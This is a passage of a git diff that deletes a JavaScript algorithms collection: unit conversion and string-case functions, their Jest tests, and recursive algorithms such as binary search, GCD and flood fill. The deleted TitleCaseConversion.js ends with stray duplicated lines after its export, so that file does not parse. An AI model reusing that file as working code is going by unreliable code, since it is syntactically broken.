-    // Wikipedia reference: https://en.wikipedia.org/wiki/Rankine_scale
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Kelvin
-    return Math.round((rankine * 5) / 9);
-};
-const reaumurToKelvin = (reaumur) => {
-    // Reference:- http://www.csgnetwork.com/temp2conv.html
-    return Math.round(reaumur * 1.25 + 273.15);
-};
-const reaumurToFahrenheit = (reaumur) => {
-    // Reference:- http://www.csgnetwork.com/temp2conv.html
-    return Math.round(reaumur * 2.25 + 32);
-};
-const reaumurToCelsius = (reaumur) => {
-    // Reference:- http://www.csgnetwork.com/temp2conv.html
-    return Math.round(reaumur * 1.25);
-};
-const reaumurToRankine = (reaumur) => {
-    // Reference:- http://www.csgnetwork.com/temp2conv.html
-    return Math.round(reaumur * 2.25 + 32 + 459.67);
-};
-export {
-    celsiusToFahrenheit,
-    celsiusToKelvin,
-    celsiusToRankine,
-    fahrenheitToCelsius,
-    fahrenheitToKelvin,
-    fahrenheitToRankine,
-    kelvinToCelsius,
-    kelvinToFahrenheit,
-    kelvinToRankine,
-    rankineToCelsius,
-    rankineToFahrenheit,
-    rankineToKelvin,
-    reaumurToCelsius,
-    reaumurToFahrenheit,
-    reaumurToKelvin,
-    reaumurToRankine
-};
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/TitleCaseConversion.js b/docs/content/DS_ALGO/algorithms/Conversions/TitleCaseConversion.js
deleted file mode 100644
index b4a8e6c234..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/TitleCaseConversion.js
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
-    Problem statement and Explanation : https://www.codeproject.com/Tips/162540/Letter-Case-Conversion-Algorithms-Title-Case-Toggl.
-    [Title case](https://en.wikipedia.org/wiki/Title_case) is a style where all words are capitalized. Officially, title case
-    does not capitalize some words, such as very short words like "a" or "is", but for the purposes of this function, a general approach
-    is taken where all words are capitalized regardless of length.
-*/
-/**
- * The titleCaseConversion function converts a string into a title case string.
- * @param {string} inputString The input string which can have any types of letter casing.
- * @returns {string} A string that is in title case.
- */
-const titleCaseConversion = (inputString) => {
-    if (inputString === '') return '';
-    // Extract all space separated string.
-    const stringCollections = inputString.split(' ').map((word) => {
-        let firstChar = '';
-        // Get the [ASCII](https://en.wikipedia.org/wiki/ASCII) character code by the use charCodeAt method.
-        const firstCharCode = word[0].charCodeAt();
-        // If the ASCII character code lies between 97 to 122 it means they are in the lowercase so convert it.
-        if (firstCharCode >= 97 && firstCharCode <= 122) {
-            // Convert the case by use of the above explanation.
-            firstChar += String.fromCharCode(firstCharCode - 32);
-        } else {
-            // Else store the characters without any modification.
-            firstChar += word[0];
-        }
-        const newWordChar = word
-            .slice(1)
-            .split('')
-            .map((char) => {
-                // Get the ASCII character code by the use charCodeAt method.
-                const presentCharCode = char.charCodeAt();
-                // If the ASCII character code lies between 65 to 90, it means they are in the uppercase so convert it.
-                if (presentCharCode >= 65 && presentCharCode <= 90) {
-                    // Convert the case by use of the above explanation.
-                    return String.fromCharCode(presentCharCode + 32);
-                }
-                // Else return the characters without any modification.
-                return char;
-            });
-        // Return the first converted character and remaining character string.
-        return firstChar + newWordChar.join('');
-    });
-    // Convert all words in a string and return it.
-    return stringCollections.join(' ');
-};
-export {
-    titleCaseConversion
-};
-titleCaseConversion
-};
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/UpperCaseConversion.js b/docs/content/DS_ALGO/algorithms/Conversions/UpperCaseConversion.js
deleted file mode 100644
index f4ef74947d..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/UpperCaseConversion.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
-    Explanation :- A user gives a string (it can be incomplete lowercase or
-        partially in lowercase) and then the program converts it into a
-        completely (all characters in uppercase) uppercase string. The
-        logic we have used in the following program is: All the lowercase
-        characters (a-z) has [ASCII](https://en.wikipedia.org/wiki/ASCII) value ranging from 97 to 122 and their
-        corresponding uppercase characters (A-Z) have ASCII values 32
-        lesser than them. For example ‘a‘ has an ASCII value of 97
-        and ‘A‘ has an ASCII value of 65 (97 - 32). The same applies to other
-        characters.
-*/
-/**
- * upperCaseConversion takes any case-style string and converts it to the uppercase-style string.
- * @param {string} inputString Any case style string
- * @returns {string} Uppercase string
- */
-const upperCaseConversion = (inputString) => {
-    // Take a string and split it into characters.
-    const newString = inputString.split('').map((char) => {
-        // Get a character code by the use charCodeAt method.
-        const presentCharCode = char.charCodeAt();
-        // If the character code lies between 97 to 122, it means they are in the lowercase so convert it.
-        if (presentCharCode >= 97 && presentCharCode <= 122) {
-            // Convert the case by use of the above explanation.
-            return String.fromCharCode(presentCharCode - 32);
-        }
-        // Else return the characters without any modification.
-        return char;
-    });
-    // After modification, with the help of the join method, join all the characters and return them.
-    return newString.join('');
-};
-export { upperCaseConversion };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/ArrayBufferToBase64.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/ArrayBufferToBase64.test.js
deleted file mode 100644
index e3c77253bd..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/ArrayBufferToBase64.test.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import { bufferToBase64 } from '../ArrayBufferToBase64';
-import { TextEncoder } from 'util';
-describe('ArrayBufferToBase64', () => {
-    it('should encode "Hello, world!" as "SGVsbG8sIHdvcmxkIQ=="', () => {
-        const testString = 'Hello, world!';
-        const encoder = new TextEncoder();
-        const helloWorldBuffer = encoder.encode(testString);
-        const result = bufferToBase64(helloWorldBuffer);
-        expect(result).toBe('SGVsbG8sIHdvcmxkIQ==');
-    });
-    it('should encode binary buffer [55,23,177,234,68,26,90] as "Nxex6kQaWg=="', () => {
-        const testBuffer = new Uint8Array([55, 23, 177, 234, 68, 26, 90]);
-        const result = bufferToBase64(testBuffer);
-        expect(result).toBe('Nxex6kQaWg==');
-    });
-    it('should encode binary buffer [0,1,2,3,4,5,6,7,8,9] as "AAECAwQFBgcICQ=="', () => {
-        const testBuffer = new Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
-        const result = bufferToBase64(testBuffer);
-        expect(result).toBe('AAECAwQFBgcICQ==');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/Base64ToArrayBuffer.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/Base64ToArrayBuffer.test.js
deleted file mode 100644
index 04bc8b3ea2..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/Base64ToArrayBuffer.test.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import { base64ToBuffer } from '../Base64ToArrayBuffer';
-import { TextDecoder } from 'util';
-describe('Base64ToArrayBuffer', () => {
-    it('should decode "SGVsbG8sIHdvcmxkIQ==" as "Hello, world!"', () => {
-        const testBase64String = 'SGVsbG8sIHdvcmxkIQ==';
-        const buffer = base64ToBuffer(testBase64String);
-        const decoder = new TextDecoder();
-        const helloWorldString = decoder.decode(buffer);
-        expect(helloWorldString).toBe('Hello, world!');
-    });
-    it('should decode base64 "Nxex6kQaWg==" as binary buffer [55,23,177,234,68,26,90]', () => {
-        const testBase64String = 'Nxex6kQaWg==';
-        const buffer = base64ToBuffer(testBase64String);
-        const array = [...new Uint8Array(buffer)];
-        expect(array).toEqual([55, 23, 177, 234, 68, 26, 90]);
-    });
-    it('should decode base64 "AAECAwQFBgcICQ==" as binary buffer [0,1,2,3,4,5,6,7,8,9]', () => {
-        const testBase64String = 'AAECAwQFBgcICQ==';
-        const buffer = base64ToBuffer(testBase64String);
-        const array = [...new Uint8Array(buffer)];
-        expect(array).toEqual([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/BinaryToDecimal.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/BinaryToDecimal.test.js
deleted file mode 100644
index d41ec0a8bf..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/BinaryToDecimal.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import binaryToDecimal from '../BinaryToDecimal';
-describe('BinaryToDecimal', () => {
-    it('expects to return correct decimal value', () => {
-        expect(binaryToDecimal('1000')).toBe(8);
-    });
-    it('expects to return correct hexadecimal value for more than one hex digit', () => {
-        expect(binaryToDecimal('01101000')).toBe(104);
-    });
-    it('expects to return correct hexadecimal value for padding-required binary', () => {
-        expect(binaryToDecimal('1000101')).toBe(69);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/BinaryToHex.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/BinaryToHex.test.js
deleted file mode 100644
index 287965ec85..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/BinaryToHex.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import binaryToHex from '../BinaryToHex';
-describe('BinaryToHex', () => {
-    it('expects to return correct hexadecimal value', () => {
-        expect(binaryToHex('1000')).toBe('8');
-    });
-    it('expects to return correct hexadecimal value for more than one hex digit', () => {
-        expect(binaryToHex('11101010')).toBe('EA');
-    });
-    it('expects to return correct hexadecimal value for padding-required binary', () => {
-        expect(binaryToHex('1001101')).toBe('4D');
-    });
-    it('expects to return correct hexadecimal value, matching (num).toString(16)', () => {
-        expect(binaryToHex('1111')).toBe(parseInt('1111', 2).toString(16).toUpperCase());
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/DecimalToHex.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/DecimalToHex.test.js
deleted file mode 100644
index a6231cf871..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/DecimalToHex.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import { decimalToHex } from '../DecimalToHex';
-describe('DecimalToHex', () => {
-    it('expects to return correct hexadecimal value', () => {
-        expect(decimalToHex(255)).toBe('FF');
-    });
-    it('expects to return correct hexadecimal value, matching (num).toString(16)', () => {
-        expect(decimalToHex(32768)).toBe((32768).toString(16).toUpperCase());
-    });
-    it('expects to not handle negative numbers', () => {
-        expect(decimalToHex(-32768)).not.toBe((-32768).toString(16).toUpperCase());
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/DecimalToRoman.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/DecimalToRoman.test.js
deleted file mode 100644
index 1570848867..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/DecimalToRoman.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import { decimalToRoman } from '../DecimalToRoman';
-describe('decimalToRoman', () => {
-    it('expects to return correct roman numeral of given number', () => {
-        expect(decimalToRoman(34)).toBe('XXXIV');
-    });
-    it('expects to return correct roman numeral of given number', () => {
-        expect(decimalToRoman(28)).toBe('XXVIII');
-    });
-    it('expects to return correct roman numeral of given number', () => {
-        expect(decimalToRoman(2021)).toBe('MMXXI');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/HexToBinary.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/HexToBinary.test.js
deleted file mode 100644
index 7f88a97299..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/HexToBinary.test.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import hexToBinary from '../HexToBinary';
-describe('Testing hexToBinary', () => {
-    it('expects throw error in invalid types', () => {
-        expect(() => hexToBinary(false)).toThrowError();
-        expect(() => hexToBinary(null)).toThrowError();
-        expect(() => hexToBinary(23464)).toThrowError();
-    });
-    it('expects throw error in invalid hex', () => {
-        expect(() => hexToBinary('Hello i am not a valid Hex')).toThrowError();
-        expect(() => hexToBinary('Gf46f')).toThrowError();
-        expect(() => hexToBinary('M')).toThrowError();
-    });
-    it('expects to return correct hexadecimal value', () => {
-        expect(hexToBinary('8')).toBe('1000');
-    });
-    it('expects to return correct binary value for more than one hex digit', () => {
-        expect(hexToBinary('EA')).toBe('11101010');
-    });
-    it('expects to test its robustness as it should be case-insensitive', () => {
-        expect(hexToBinary('4d')).toBe('01001101');
-    });
-    it('expects to return correct hexadecimal value, matching (num).toString(2)', () => {
-        expect(hexToBinary('F')).toBe(parseInt('F', 16).toString(2));
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/MeterToFeetConversion.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/MeterToFeetConversion.test.js
deleted file mode 100644
index 99c260ab2c..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/MeterToFeetConversion.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import { meterToFeet, feetToMeter } from '../MeterToFeetConversion';
-describe('Testing conversion of Meter to Feet', () => {
-    it('with feet value', () => {
-        expect(meterToFeet(30.48)).toBe(100);
-    });
-});
-describe('Testing conversion of Feet to Meter', () => {
-    it('with feet value', () => {
-        expect(feetToMeter(10)).toBe(3.048);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/RgbHsvConversion.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/RgbHsvConversion.test.js
deleted file mode 100644
index 7d2176b0f8..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/RgbHsvConversion.test.js
+++ /dev/null
@@ -1,31 +0,0 @@
-import { approximatelyEqualHsv, hsvToRgb, rgbToHsv } from '../RgbHsvConversion';
-describe('hsvToRgb', () => {
-    // Expected RGB-values taken from https://www.rapidtables.com/convert/color/hsv-to-rgb.html
-    it('should calculate the correct RGB values', () => {
-        expect(hsvToRgb(0, 0, 0)).toEqual([0, 0, 0]);
-        expect(hsvToRgb(0, 0, 1)).toEqual([255, 255, 255]);
-        expect(hsvToRgb(0, 1, 1)).toEqual([255, 0, 0]);
-        expect(hsvToRgb(60, 1, 1)).toEqual([255, 255, 0]);
-        expect(hsvToRgb(120, 1, 1)).toEqual([0, 255, 0]);
-        expect(hsvToRgb(240, 1, 1)).toEqual([0, 0, 255]);
-        expect(hsvToRgb(300, 1, 1)).toEqual([255, 0, 255]);
-        expect(hsvToRgb(180, 0.5, 0.5)).toEqual([64, 128, 128]);
-        expect(hsvToRgb(234, 0.14, 0.88)).toEqual([193, 196, 224]);
-        expect(hsvToRgb(330, 0.75, 0.5)).toEqual([128, 32, 80]);
-    });
-});
-describe('rgbToHsv', () => {
-    // "approximatelyEqualHsv" needed because of small deviations due to rounding for the RGB-values
-    it('should calculate the correct HSV values', () => {
-        expect(approximatelyEqualHsv(rgbToHsv(0, 0, 0), [0, 0, 0])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(255, 255, 255), [0, 0, 1])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(255, 0, 0), [0, 1, 1])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(255, 255, 0), [60, 1, 1])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(0, 255, 0), [120, 1, 1])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(0, 0, 255), [240, 1, 1])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(255, 0, 255), [300, 1, 1])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(64, 128, 128), [180, 0.5, 0.5])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(193, 196, 224), [234, 0.14, 0.88])).toEqual(true);
-        expect(approximatelyEqualHsv(rgbToHsv(128, 32, 80), [330, 0.75, 0.5])).toEqual(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/RomanToDecimal.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/RomanToDecimal.test.js
deleted file mode 100644
index 69ca8419ad..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/RomanToDecimal.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import { romanToDecimal } from '../RomanToDecimal';
-describe('romanToDecimal', () => {
-    it('XXIIVV', () => {
-        expect(romanToDecimal('XXIIVV')).toBe(28);
-    });
-    it('MDCCCIV', () => {
-        expect(romanToDecimal('MDCCCIV')).toBe(1804);
-    });
-    it('XXIVI', () => {
-        expect(romanToDecimal('XXIVI')).toBe(25);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/TemperatureConversion.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/TemperatureConversion.test.js
deleted file mode 100644
index 56cbe8752e..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/TemperatureConversion.test.js
+++ /dev/null
@@ -1,97 +0,0 @@
-import * as tc from '../TemperatureConversion.js';
-describe('Testing Conversion of Celsius to fahrenheit', () => {
-    it('with celsius value', () => {
-        const test1 = tc.celsiusToFahrenheit(10);
-        expect(test1).toBe(50);
-    });
-});
-describe('Testing Conversion of Celsius to kelvin', () => {
-    it('with celsius value', () => {
-        const test1 = tc.celsiusToKelvin(15);
-        expect(test1).toBe(288);
-    });
-});
-describe('Testing Conversion of Celsius to Rankine', () => {
-    it('with celsius value', () => {
-        const test1 = tc.celsiusToRankine(28);
-        expect(test1).toBe(542);
-    });
-});
-describe('Testing Conversion of Fahrenheit to Celsius', () => {
-    it('with Fahrenheit value', () => {
-        const test1 = tc.fahrenheitToCelsius(134);
-        expect(test1).toBe(57);
-    });
-});
-describe('Testing Conversion of Fahrenheit to Kelvin', () => {
-    it('with Fahrenheit value', () => {
-        const test1 = tc.fahrenheitToKelvin(125);
-        expect(test1).toBe(325);
-    });
-});
-describe('Testing Conversion of Fahrenheit to Rankine', () => {
-    it('with Fahrenheit value', () => {
-        const test1 = tc.fahrenheitToRankine(10);
-        expect(test1).toBe(470);
-    });
-});
-describe('Testing Conversion of Kelvin to Celsius', () => {
-    it('with Kelvin value', () => {
-        const test1 = tc.kelvinToCelsius(100);
-        expect(test1).toBe(-173);
-    });
-});
-describe('Testing Conversion of Kelvin to Fahrenheit', () => {
-    it('with Kelvin value', () => {
-        const test1 = tc.kelvinToFahrenheit(20);
-        expect(test1).toBe(-424);
-    });
-});
-describe('Testing Conversion of Kelvin to Rankine', () => {
-    it('with kelvin value', () => {
-        const test1 = tc.kelvinToRankine(69);
-        expect(test1).toBe(124);
-    });
-});
-describe('Testing Conversion of Rankine to Celsius', () => {
-    it('with Rankine value', () => {
-        const test1 = tc.rankineToCelsius(234);
-        expect(test1).toBe(-143);
-    });
-});
-describe('Testing Conversion of Rankine to Fahrenheit', () => {
-    it('with Rankine value', () => {
-        const test1 = tc.rankineToFahrenheit(98);
-        expect(test1).toBe(-362);
-    });
-});
-describe('Testing Conversion of Rankine to Kelvin', () => {
-    it('with Rankine value', () => {
-        const test1 = tc.rankineToKelvin(10);
-        expect(test1).toBe(6);
-    });
-});
-describe('Testing Conversion of Reamur to Celsius', () => {
-    it('with Reamur value', () => {
-        const test1 = tc.reaumurToCelsius(100);
-        expect(test1).toBe(125);
-    });
-});
-describe('Testing Conversion of Reamur to Fahrenheit', () => {
-    it('with Reamur value', () => {
-        const test1 = tc.reaumurToFahrenheit(100);
-        expect(test1).toBe(257);
-    });
-});
-describe('Testing Conversion of Reamur to Kelvin', () => {
-    it('with Reamur value', () => {
-        const test1 = tc.reaumurToKelvin(100);
-        expect(test1).toBe(398);
-    });
-});
-describe('Testing Conversion of Reamur to Rankine', () => {
-    it('with Reamur value', () => {
-        const test1 = tc.reaumurToRankine(100);
-        expect(test1).toBe(717);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/TitleCaseConversion.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/TitleCaseConversion.test.js
deleted file mode 100644
index d7f18c3526..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/TitleCaseConversion.test.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import { titleCaseConversion } from '../TitleCaseConversion';
-describe('Tests for the titleCaseConversion function', () => {
-    it('should return an empty string when the input is an empty string', () => {
-        expect(titleCaseConversion('')).toEqual('');
-    });
-    it('should return the input string when the input string is a title case string', () => {
-        expect(titleCaseConversion('A Proper Title Case String')).toEqual('A Proper Title Case String');
-    });
-    it('should return a title case string when input is an all-uppercase string', () => {
-        expect(titleCaseConversion('ALL UPPER CASE')).toEqual('All Upper Case');
-    });
-    it('should return a title case string when input is a title case string of with spaces', () => {
-        expect(titleCaseConversion('ALL UPPERCASE')).toEqual('All Uppercase');
-    });
-    it('should return a title case string when input is a title case string of with no spaces', () => {
-        expect(titleCaseConversion('ALLUPPERCASE')).toEqual('Alluppercase');
-    });
-    it('should return a title case string when input is a title case string with punctuation', () => {
-        expect(titleCaseConversion('All Title Case!')).toEqual('All Title Case!');
-    });
-    it('should return a title case string when input is an all-lowercase string with no spaces', () => {
-        expect(titleCaseConversion('lowercaseinput')).toEqual('Lowercaseinput');
-    });
-    it('should return a title case string when input is an all-lowercase string with spaces', () => {
-        expect(titleCaseConversion('lowercase input')).toEqual('Lowercase Input');
-    });
-    it('should return a title case string when input is an all-lowercase string with punctuation', () => {
-        expect(titleCaseConversion('lower, case, input.')).toEqual('Lower, Case, Input.');
-    });
-    it('should return a title case string when input is an mixed-case string', () => {
-        expect(titleCaseConversion('mixeD CaSe INPuT')).toEqual('Mixed Case Input');
-    });
-    it('should return a title case string when input is an mixed-case string with no spaces', () => {
-        expect(titleCaseConversion('mixeDCaSeINPuT')).toEqual('Mixedcaseinput');
-    });
-    it('should return a title case string when input is an mixed-case string with punctuation', () => {
-        expect(titleCaseConversion('mixeD, CaSe, INPuT!')).toEqual('Mixed, Case, Input!');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/test/UpperCaseConverstion.test.js b/docs/content/DS_ALGO/algorithms/Conversions/test/UpperCaseConverstion.test.js
deleted file mode 100644
index 69727ed559..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/test/UpperCaseConverstion.test.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import { upperCaseConversion } from '../UpperCaseConversion';
-describe('Test the upperCaseConversion function', () => {
-    it('should return an empty string when the input is an empty string', () => {
-        expect(upperCaseConversion('')).toEqual('');
-    });
-    it('should return an all-uppercase string when input is an all-uppercase string', () => {
-        expect(upperCaseConversion('ALLUPPERCASE')).toEqual('ALLUPPERCASE');
-    });
-    it('should return an all-uppercase string when input is an all-uppercase string with spaces', () => {
-        expect(upperCaseConversion('ALL UPPERCASE')).toEqual('ALL UPPERCASE');
-    });
-    it('should return an all-uppercase string when input is an all-uppercase string with punctuation', () => {
-        expect(upperCaseConversion('ALL UPPER-CASE!')).toEqual('ALL UPPER-CASE!');
-    });
-    it('should return an all-uppercase string when input is an all-lowercase string', () => {
-        expect(upperCaseConversion('lowercaseinput')).toEqual('LOWERCASEINPUT');
-    });
-    it('should return an all-uppercase string when input is an all-lowercase string with spaces', () => {
-        expect(upperCaseConversion('lowercase input')).toEqual('LOWERCASE INPUT');
-    });
-    it('should return an all-uppercase string when input is an all-lowercase string with punctuation', () => {
-        expect(upperCaseConversion('lower-case, input.')).toEqual('LOWER-CASE, INPUT.');
-    });
-    it('should return an all-uppercase string when input is an mixed-case string', () => {
-        expect(upperCaseConversion('mixeDCaSeINPuT')).toEqual('MIXEDCASEINPUT');
-    });
-    it('should return an all-uppercase string when input is an mixed-case string with spaces', () => {
-        expect(upperCaseConversion('mixeD CaSe INPuT')).toEqual('MIXED CASE INPUT');
-    });
-    it('should return an all-uppercase string when input is an mixed-case string with punctuation', () => {
-        expect(upperCaseConversion('mixeD-CaSe INPuT!')).toEqual('MIXED-CASE INPUT!');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/BinaryEquivalent.js b/docs/content/DS_ALGO/algorithms/Recursive/BinaryEquivalent.js
deleted file mode 100644
index 79ee05bd02..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/BinaryEquivalent.js
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Problem Statement: Given a positive number `num`, find it's binary equivalent using recursion
- *
- * What is Binary Equivalent?
- * - In binary number system, a number is represented in terms of 0s and 1s,
- *   for example:
- *    - Binary Of 2 = 10
- *    - Binary of 3 = 11
- *    - Binary of 4 = 100
- *
- * Reference on how to find Binary Equivalent
- * - https://byjus.com/maths/decimal-to-binary/
- *
- */
-export const binaryEquivalent = (num) => {
-    if (num === 0 || num === 1) {
-        return String(num);
-    }
-    return binaryEquivalent(Math.floor(num / 2)) + String(num % 2);
-};
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/BinarySearch.js b/docs/content/DS_ALGO/algorithms/Recursive/BinarySearch.js
deleted file mode 100644
index 4b613b1445..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/BinarySearch.js
+++ /dev/null
@@ -1,27 +0,0 @@
-/**
- * @function BinarySearch
- * @description Search the integer inside the sorted integers array using Binary Search Algorithm.
- * @param {Integer[]} arr - sorted array of integers
- * @param {Integer} low - The input integer
- * @param {Integer} high - The input integer
- * @param {Integer} searchValue - The input integer
- * @return {Integer} - return index of searchValue if found else return -1.
- * @see [BinarySearch](https://en.wikipedia.org/wiki/Binary_search_algorithm)
- */
-const binarySearch = (arr, searchValue, low = 0, high = arr.length - 1) => {
-    // base case
-    if (high < low || arr.length === 0) return -1;
-    const mid = low + Math.floor((high - low) / 2);
-    // If the element is present at the middle
-    if (arr[mid] === searchValue) {
-        return mid;
-    }
-    // If element is smaller than mid, then
-    // it can only be present in left subarray
-    if (arr[mid] > searchValue) {
-        return binarySearch(arr, searchValue, low, mid - 1);
-    }
-    // Else the element can only be present in right subarray
-    return binarySearch(arr, searchValue, mid + 1, high);
-};
-export { binarySearch };
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/EucledianGCD.js b/docs/content/DS_ALGO/algorithms/Recursive/EucledianGCD.js
deleted file mode 100644
index 5a4e1b0441..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/EucledianGCD.js
+++ /dev/null
@@ -1,28 +0,0 @@
-function euclideanGCDRecursive(first, second) {
-    /*
-    Calculates GCD of two numbers using Euclidean Recursive Algorithm
-    :param first: First number
-    :param second: Second number
-    :return: GCD of the numbers
-    */
-    if (second === 0) {
-        return first;
-    } else {
-        return euclideanGCDRecursive(second, first % second);
-    }
-}
-function euclideanGCDIterative(first, second) {
-    /*
-    Calculates GCD of two numbers using Euclidean Iterative Algorithm
-    :param first: First number
-    :param second: Second number
-    :return: GCD of the numbers
-    */
-    while (second !== 0) {
-        const temp = second;
-        second = first % second;
-        first = temp;
-    }
-    return first;
-}
-export { euclideanGCDIterative, euclideanGCDRecursive };
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/Factorial.js b/docs/content/DS_ALGO/algorithms/Recursive/Factorial.js
deleted file mode 100644
index 799397db90..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/Factorial.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/**
- * @function Factorial
- * @description function to find factorial using recursion.
- * @param {Integer} n - The input integer
- * @return {Integer} - Factorial of n.
- * @see [Factorial](https://en.wikipedia.org/wiki/Factorial)
- * @example 5! = 1*2*3*4*5 = 120
- * @example 2! = 1*2 = 2
- */
-const factorial = (n) => {
-    if (n === 0) {
-        return 1;
-    }
-    return n * factorial(n - 1);
-};
-export { factorial };
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/FibonacciNumberRecursive.js b/docs/content/DS_ALGO/algorithms/Recursive/FibonacciNumberRecursive.js
deleted file mode 100644
index 2663227543..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/FibonacciNumberRecursive.js
+++ /dev/null
@@ -1,14 +0,0 @@
-/**
- * @function Fibonacci
- * @description Function to return the N-th Fibonacci number.
- * @param {Integer} n - The input integer
- * @return {Integer} - Return the N-th Fibonacci number
- * @see [Fibonacci](https://en.wikipedia.org/wiki/Fibonacci_number)
- */
-const fibonacci = (n) => {
-    if (n < 2) {
-        return n;
-    }
-    return fibonacci(n - 2) + fibonacci(n - 1);
-};
-export { fibonacci };
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/FloodFill.js b/docs/content/DS_ALGO/algorithms/Recursive/FloodFill.js
deleted file mode 100644
index 6787a21321..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/FloodFill.js
+++ /dev/null
@@ -1,95 +0,0 @@
-/**
- * Flood fill.
- *
- * Flood fill, also called seed fill, is an algorithm that determines and alters the area connected to a given node in a
- * multi-dimensional array with some matching attribute. It is used in the "bucket" fill tool of paint programs to fill
- * connected, similarly-colored areas with a different color.
- *
- * (description adapted from https://en.wikipedia.org/wiki/Flood_fill)
- * @see https://www.techiedelight.com/flood-fill-algorithm/
- */
-const neighbors = [
-    [-1, -1],
-    [-1, 0],
-    [-1, 1],
-    [0, -1],
-    [0, 1],
-    [1, -1],
-    [1, 0],
-    [1, 1]
-];
-/**
- * Implements the flood fill algorithm through a breadth-first approach using a queue.
- *
- * @param rgbData The image to which the algorithm is applied.
- * @param location The start location on the image.
- * @param targetColor The old color to be replaced.
- * @param replacementColor The new color to replace the old one.
- */
-export function breadthFirstSearch(rgbData, location, targetColor, replacementColor) {
-    if (location[0] < 0 || location[0] >= rgbData.length || location[1] < 0 || location[1] >= rgbData[0].length) {
-        throw new Error('location should point to a pixel within the rgbData');
-    }
-    const queue = [];
-    queue.push(location);
-    while (queue.length > 0) {
-        breadthFirstFill(rgbData, location, targetColor, replacementColor, queue);
-    }
-}
-/**
- * Implements the flood fill algorithm through a depth-first approach using recursion.
- *
- * @param rgbData The image to which the algorithm is applied.
- * @param location The start location on the image.
- * @param targetColor The old color to be replaced.
- * @param replacementColor The new color to replace the old one.
- */
-export function depthFirstSearch(rgbData, location, targetColor, replacementColor) {
-    if (location[0] < 0 || location[0] >= rgbData.length || location[1] < 0 || location[1] >= rgbData[0].length) {
-        throw new Error('location should point to a pixel within the rgbData');
-    }
